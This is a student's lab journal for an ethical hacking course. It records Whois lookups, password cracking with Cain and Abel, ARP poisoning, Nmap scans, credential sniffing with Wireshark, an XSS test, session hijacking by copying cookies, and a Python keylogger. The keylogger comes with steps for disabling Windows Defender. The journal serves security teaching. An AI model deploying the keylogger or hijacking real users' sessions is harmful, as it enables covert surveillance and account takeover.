MANJARA CHARITABLE TRUST

SMT. SUSHILADEVI DESHMUKH COLLEGE OF ARTS, SCIENCE AND COMMERCE, Airoli, Sector-4, Navi Mumbai-400 708

Date:

CERTIFICATE

This is to Certify that **Mr. Sachinkumar Rajkumar Nishad** seat no. **24** of **TYBSC CS** Semester **VI** has completed the practical work in the subject of **"Ethical Hacking"** during the academic year 2024-25 under the guidance of **Asst.Prof Soni Yadav** being the partial requirement for the fulfilment of the curriculum of Degree of Bachelor of Computer Science, University of Mumbai.

Signature of Internal Guide **Signature of HOD**

Signature of External **Principal**

College Seal

INDEX

Sr. No.	Practical	Date	Sign.
1.	Google and Whois Reconnaissance	11-01-25	
2.	Password Encryption and Cracking with CrypTool and Cain and Able	11-01-25	
3.	Linux Network Analysis and ARP Poisoning	16-01-25	
4.	Port Scanning with NMap	18-01-25	
5.	Network Traffic Capture and DoS Attack with Wireshark and Nemesy	01-02-25	
6.	Persistent Cross-Site Scripting Attack	08-02-25	
7.	Session Impersonation with Firefox and Tamper Data	15-02-25	
8.	Creating a Keylogger with Python	22-02-25	

PRACTICAL NO.1

AIM : Use Google and Whois for Reconnaissance.

- **a)** Google and Whois Reconnaissance
- **b)** Use Google search techniques to gather information about a specific target or organization.
- **c)** Utilize advanced search operators to refine search results and access hidden information.
- **d)** Perform Whois lookups to retrieve domain registration information and gather details about the target's infrastructure

Using who.is

Step1: Open the WHO.is website

Step 2: Enter the website name and hit the “Enter button”.

Step 3: Show you information about www.sheriyans.com

who.is/whois/sheryians.com

who.is Premium Domains Transfer Features Login Sign Up

Search domains or IPs

```
Administrative Contact Information:
Name:                           REDACTED FOR PRIVACY
Organization:                   Sheryians Private Limited
Address Line 1:                 REDACTED FOR PRIVACY
Address Line 2:
City:                           REDACTED FOR PRIVACY
State/Province:                 Madhya Pradesh
Postal Code:                    REDACTED FOR PRIVACY
Country:                        IN
Phone:                          REDACTED FOR PRIVACY
Fax:                            REDACTED FOR PRIVACY
Email:                          https://domains.squarespace.com/whois-contact-form
Full Address:                   REDACTED FOR PRIVACY, REDACTED FOR PRIVACY, Madhya
                                Pradesh, REDACTED FOR PRIVACY, IN

Tech Contact Information:
Name:                           REDACTED FOR PRIVACY
Organization:                   Sheryians Private Limited
Address Line 1:                 REDACTED FOR PRIVACY
Address Line 2:
City:                           REDACTED FOR PRIVACY
State/Province:                 Madhya Pradesh
Postal Code:                    REDACTED FOR PRIVACY
Country:                        IN
Phone:                          REDACTED FOR PRIVACY
Fax:                            REDACTED FOR PRIVACY
Email:                          https://domains.squarespace.com/whois-contact-form
Full Address:                   REDACTED FOR PRIVACY, REDACTED FOR PRIVACY, Madhya
                                Pradesh, REDACTED FOR PRIVACY, IN

Information Updated: 2025-03-07 21:13:06.725496+00
```

Type here to search ENG 02:43 08-03-2025

Whois | RDAP | DNS Records | Uptime | Diagnostics

Registrar Information	
Name	Squarespace Domains II LLC
Public ID	895
Public ID Type	IANA Registrar ID
Handle	895
Registrar Contacts	
Abuse	
Email	abuse-complaints@squarespace.com
Phone	tel:+1.6466935324
Basic Information	
Handle	2354154359_DOMAIN_COM-VRSN
Status	client delete prohibited, client transfer prohibited
Registry Source	https://rdap.verisign.com/com/v1/domain/SHERYIANS.COM
Registrar Source	https://rdap.squarespace.domains/domain/SHERYIANS.COM
Important Dates	

Site Status	
Status	Active
Server Type	cloudflare

Suggested Domains for sheryians.com	
sher-yian-s.live	$3.99
sheryiansinc.live	$3.99
sher-yian-s.org	$8.99
sher-yian-s.net	$16.49
sher-yian-s.com	$9.99

Purchase Selected Domains

PRACTICAL NO. 2

AIM : Password Encryption and Cracking with CrypTool and Cain and Abel

a) Password Encryption and Decryption-

1. Use CrypTool to encrypt passwords using the RC4 algorithm. 2. Decrypt the encrypted passwords and verify the original values.

Step 1:

Step 2 : Using RC4.

Encryption using RC4

Decryption

b) Password Cracking and Wireless Network Password Decoding:

1. **Use Cain and Abel to perform a dictionary attack on Windows account passwords.**
2. **Decode wireless network passwords using Cain and Abel's capabilities.**

Click on HASH Calcuator

Enter the password to convert into hash

Paste the value into the field you have converted

e.g(MD5)

Right Click on the hash and select the dictionary attack

Then right click on the file and select (Add to List) and then select the Wordlist

Select all the options and start the dictionary attack

PRACTICAL NO. 3

AIM : Linux Network Analysis and ARP Poisoning

a) Linux Network Analysis:

1. Execute the ifconfig command to retrieve network interface information.
2. Use the ping command to test network connectivity and analyze the output. 3. Analyze the netstat command output to view active network connections.
4. Perform a traceroute to trace the route packets take to reach a target host.

Step 1: Execute the ifconfig command to retrieve network interface information.

```
virx# ifconfig
docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1460
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 7a:8f:e8:8a:77:4d  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1460
        inet 10.88.0.4  netmask 255.255.0.0  broadcast 10.88.255.255
        ether da:a2:8b:41:a5:64  txqueuelen 0  (Ethernet)
        RX packets 2770  bytes 2710435 (2.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2408  bytes 12582983 (12.5 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 3048  bytes 28199030 (28.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3048  bytes 28199030 (28.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

virx#
```

Step 2: Use the ping command to test network connectivity and analyze the output.

```
virx# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=114 time=1.89 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=114 time=0.405 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=114 time=0.475 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=114 time=0.397 ms
64 bytes from 8.8.8.8: icmp_seq=5 ttl=114 time=0.354 ms
^C
--- 8.8.8.8 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4089ms
rtt min/avg/max/mdev = 0.354/0.704/1.892/0.594 ms
virx#
```

Step 3: Analyze the netstat command output to view active network connections.

```
virx# netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 localhost:3000          localhost:44278         ESTABLISHED
tcp        0      0 localhost:56234         localhost:ssh           ESTABLISHED
tcp        0      0 localhost:ssh           localhost:56240         ESTABLISHED
tcp        0      0 localhost:60316         localhost:ssh           ESTABLISHED
tcp        0      0 localhost:ssh           localhost:60316         ESTABLISHED
tcp        0      0 localhost:ssh           localhost:56236         ESTABLISHED
tcp        0      0 localhost:44286         localhost:3000          ESTABLISHED
tcp        0      0 localhost:3000          localhost:44286         ESTABLISHED
tcp        0      0 localhost:44278         localhost:3000          ESTABLISHED
tcp        0      0 localhost:58148         localhost:970           ESTABLISHED
tcp        0      0 localhost:ssh           localhost:56234         ESTABLISHED
tcp        0      0 localhost:58158         localhost:970           ESTABLISHED
tcp        0      0 localhost:56236         localhost:ssh           ESTABLISHED
tcp        0      0 localhost:56240         localhost:ssh           ESTABLISHED
tcp        0      0 localhost:56962         localhost:ssh           TIME_WAIT
tcp6       0      0 localhost:970           localhost:58158         ESTABLISHED
tcp6       0      0 cs-574077365219-def:980 10.134.196.13:56326     ESTABLISHED
tcp6       0      0 localhost:970           localhost:58148         ESTABLISHED
tcp6       0      0 cs-574077365219-def:980 10.134.196.13:56312     ESTABLISHED
tcp6       0      0 cs-574077365219-def:980 10.134.194.8:48462      ESTABLISHED
tcp6       0      0 cs-574077365219-def:980 10.134.194.8:48460      ESTABLISHED
tcp6       0      0 cs-574077365219-def:980 10.134.194.8:48452      ESTABLISHED
tcp6       0      0 cs-574077365219-def:980 10.134.196.13:56298     ESTABLISHED
tcp6       0      0 cs-574077365219-def:980 10.134.196.13:56284     ESTABLISHED
tcp6       0      0 cs-574077365219-def:980 10.134.196.13:56272     ESTABLISHED
```

Step 4: Perform a traceroute to trace the route packets take to reach a target host.

Type traceroute command and type www.google.com press “Enter”.

```
virx# traceroute google.com
traceroute to google.com (74.125.200.101), 30 hops max, 60 byte packets
 1  10.88.0.1 (10.88.0.1)  0.046 ms  0.019 ms  0.015 ms
 2  * * *
 3  142.251.52.242 (142.251.52.242)  2.366 ms  1.674 ms 142.251.52.190 (142.251.52.190)  7.887 ms
 4  142.251.252.200 (142.251.252.200)  3.338 ms 192.178.46.239 (192.178.46.239)  2.735 ms 142.251.231.193 (142.251.231.193)  2.686 ms
 5  142.251.229.230 (142.251.229.230)  7.964 ms 74.125.37.250 (74.125.37.250)  15.395 ms 74.125.253.62 (74.125.253.62)  2.390 ms
 6  108.170.234.57 (108.170.234.57)  2.366 ms 216.239.35.165 (216.239.35.165)  1.550 ms 216.239.35.167 (216.239.35.167)  1.959 ms
 7  * * *
 8  * * *
 9  * * *
10  * * *
11  * * *
12  * * *
13  * * *
14  * * *
15  * * *
16  * sa-in-f101.1e100.net (74.125.200.101)  0.614 ms *
virx#
```

b) ARP Poisoning:

1. Use ARP poisoning techniques to redirect network traffic on a Windows system.
2. Analyze the effects of ARP poisoning on network communication and security

Step 2 : Select sniffer on the top.

Step 3 : Next to folder icon click on icon name start/stop sniffer. Select device and click on ok.

Step 4 : Click on “+” icon on the top. Click on ok

Step 5 : Shows the Connected host.

Step 6 : Select Arp at bottom.

.

Step 7 : Click on “+” icon at the top.

Step 8 : Click on start/stop ARP icon on top.

Step 9 : Poisoning the source.

Step 10 : Go to any website on source ip address.

Step 11 : Go to password optio

PRACTICAL NO. 4

AIM : Port Scanning with NMap

a) Use NMap to perform an ACK scan to determine if a port is filtered, unfiltered, or open.
b) Perform SYN, FIN, NULL, and XMAS scans to identify open ports and their characteristics.
c) Analyze the scan results to gather information about the target system's network services

NOTE: Install Nmap for windows and install it. After that open cmd and type “nmap --version” to check if it is installed properly.

```
C:\Users\Sachin>nmap --version
Nmap version 7.95 ( https://nmap.org )
Platform: i686-pc-windows-windows
Compiled with: nmap-liblua-5.4.6 openssl-3.0.13 nmap-libssh2-1.11.0 nmap-libz-1.3.1 nmap-libpcre2-10.43 Npcap-
1.79 nmap-libdnet-1.12 ipv6
Compiled without:
Available nsock engines: iocp poll select

C:\Users\Sachin>
```

Now type the below commands.

- **ACK** -sA (TCP ACK scan)
  It never determines open (or even open|filtered) ports. It is used to map out firewall rulesets, determining whether they are stateful or not and which ports are filtered.

  Command: **nmap -sA -T4 scanme.nmap.org**

```
Git CMD

C:\Users\Sachin> nmap -sA -T4 scanme.nmap.org
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-08 01:13 India Standard Time
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.30s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
All 1000 scanned ports on scanme.nmap.org (45.33.32.156) are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

Nmap done: 1 IP address (1 host up) scanned in 18.74 seconds
```

- **SYN (Stealth) Scan (-sS)**
  SYN scan is the default and most popular scan option for good reason. It can be performed quickly, scanning thousands of ports per second on a fast network not hampered by intrusive firewalls.
  Command: **nmap -p22,53,80,113,139 scanme.nmap.org**

```
C:\Users\Sachin>nmap -p22,53,80,113,139 scanme.nmap.org
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-08 01:15 India Standard Time
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.29s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f

PORT    STATE    SERVICE
22/tcp  open     ssh
53/tcp  closed   domain
80/tcp  open     http
113/tcp closed   ident
139/tcp filtered netbios-ssn

Nmap done: 1 IP address (1 host up) scanned in 3.19 seconds
```

- **FIN Scan (-sF)**
  Sets just the TCP FIN bit.

  Command: **nmap -sF -T4 para**

```
C:\Users\Sachin>nmap -sF -T4 scanme.nmap.com
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-08 01:39 India Standard Time
Nmap scan report for scanme.nmap.com (45.33.32.156)
Host is up (0.29s latency).
Other addresses for scanme.nmap.com (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
rDNS record for 45.33.32.156: scanme.nmap.org
All 1000 scanned ports on scanme.nmap.com (45.33.32.156) are in ignored states.
Not shown: 1000 open|filtered tcp ports (no-response)

Nmap done: 1 IP address (1 host up) scanned in 259.21 seconds
```

- **NULL Scan** (-sN)
  Does not set any bits (TCP flag header is 0)

  Command: **nmap –sN –p 22 scanme.nmap.org**

```
C:\Users\Sachin>nmap -sN -p 22 scanme.nmap.org
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-08 01:34 India Standard Time
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.42s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f

PORT   STATE         SERVICE
22/tcp open|filtered ssh

Nmap done: 1 IP address (1 host up) scanned in 5.06 seconds
```

- **XMAS Scan (-sX)**
  Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree.

  Command: **nmap -sX -T4 scanme.nmap.org**

```
C:\Users\Sachin>nmap -sX -T4 scanme.nmap.org
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-08 01:36 India Standard Time
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.39s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
All 1000 scanned ports on scanme.nmap.org (45.33.32.156) are in ignored states.
Not shown: 1000 open|filtered tcp ports (no-response)
```

PRACTCAL NO. 5

AIM: Network Traffic Capture and DoS Attack with Wireshark and Nemesy

1. Network Traffic Capture:
   - **a)** Use Wireshark to capture network traffic on a specific network interface.
   - **b)** Analyze the captured packets to extract relevant information and identify potential security issues

Step 1: Install and open WireShark .

Step 2: Go to Capture tab and select Interface option.

Step 3: In Capture interface, Select Local Area Connection and click on start.

Step 4: The source, Destination and protocols of the packets in the LAN network are displayed.

Name: Sachinkumar Rajkumar Nishad Roll no : 24 Class : TYCS

Step 5: Open a website in a new window and enter the user id and password. Register if needed.

Step 6: Enter the credentials and then sign in.

Step 7: The wireshark tool will keep recording the packets.

Step 8: Select filter as http to make the search easier and click on apply.

Step 9: Now stop the tool to stop recording.

Step 10: Find the post methods for username and passwords

.Step 11: U will see the email- id and password that you used to log in.

2) Denial of Service (DoS) Attack:

a) Use Nemesy to launch a DoS attack against a target system or network.

b) Observe the impact of the attack on the target's availability and performance. **DOS**

Using NEMESIS

PRACTICAL NO. 6

AIM: Persistent Cross-Site Scripting Attack
1. Set up a vulnerable web application that is susceptible to persistent XSS attacks
2. Craft a malicious script to exploit the XSS vulnerability and execute arbitrary code.
3. Observe the consequences of the attack and understand the potential risks associated with XSS vulnerabilities.

Step 1- Visit to http://www.techpanda.org

Step 2: Enter email as admin@google.com and password as Password2010 and login

ID	First Name	Last Name	Mobile No
1	mynams	jenefry	9898989898
89786	Lukumon	Okanlawon	6827169833
89787	sapna	magar	9078563412
89788	monali	magar	1236778905
89789	Edit		
89790	SUKIRTI	mahale	89076778656
89791	Dark	Иванов	87635444242
89792	Sahil	Bewnak	0097460072328
89793	Satyam	Gaud	9955469786
89794	MOHAMMED	WAEL	059999993

Step 3: Click on Add new contact button and fill details as
First name: <a href=”http://www.mu.ac.in”> CS </a>
And rest normally

Output:

Name: Sachinkumar Rajkumar Nishad Roll no : 24 Class : TYCS

PRACTICAL NO. 7

AIM: Session impersonation using Firefox and Tamper Data add-on

A] Session
Impersonation
STEPS

1. Open FireFox
2. Extension
3. Search and install **Cookie-Editor** or any other Cookie tool

4. Open a Website and Login (in this case www.grammarly.com)

5. Open Cookie-Editor extension by Clicking on Extensions > click on Cookie-Editor

6. Export the Cookies:

- Click on Export button
- Choose Export type(in this case as JSON)_
  Now the Cookies are copied in your clipboard
- Delete all cookies and refresh the page; you will be logged out.

→

7. Login with Cookies:
   - Reopen Cookie-Editor extension
   - Click on Import button
   - Paste the Cookies in input box and click on Import button
     Cookies were imported message will appear
   - Refresh the page

And you are in

Tamper DATA add-on

1. Open FireFox
2. Extensions
3. Search and install **Tamper Data for FF Quantum**

.

4.Select a website for tempering data and Open product description

Open Cookie-Editor extension: Extensions > click on **Tamper Data for FF Quantum**

Start the extension: Check “Tamper requests only from this tab” > Click on Yes

Now the extension is on

5. Click on Add to Cart

It will show the XMLHttpRequest details

2. Capturing HTTP Requests to View Login Details

i. Go to unsecured site (himadriaquatics.com or any other)

ii. try to login but before clicking on login button start the extension

It will show the Request along with the Login details

PRACTICAL NO. 8

Aim: - Create a simple keylogger
using python
Step 1: Install the Required Library
(pynput)

1. Open Command Prompt (Win + R, type cmd, and press Enter).
2. Run the following command:
   ```
   pip install pynput
   ```

Step 2: Disable Windows Defender Real-time Protection
Before saving and running the script, disable Real-time Protection to prevent Windows Defender from blocking the keylogger:

1. Press Win + S, type Windows Security, and open it.
2. Go to Virus & threat protection.
3. Click Manage settings under Virus & threat protection settings.
4. Turn OFF Real-time protection.
5. Now, Defender won't block the script.

Code: -

```
# Aim: Create a simple keylogger using Python
from pynput.keyboard import Key, Listener
import logging

# If no name is provided, it gets into an empty string
log_dir = ""

# This is a basic logging function
logging.basicConfig(
    filename=log_dir + "key_log.txt",
    level=logging.DEBUG,
    format='%(asctime)s: %(message)s'
)

# This is from the library
def on_press(key):
    logging.info(str(key))

# This starts the listener
with Listener(on_press=on_press) as listener:
    listener.join()
```

Output: -

When done with practical kill the terminal / script process.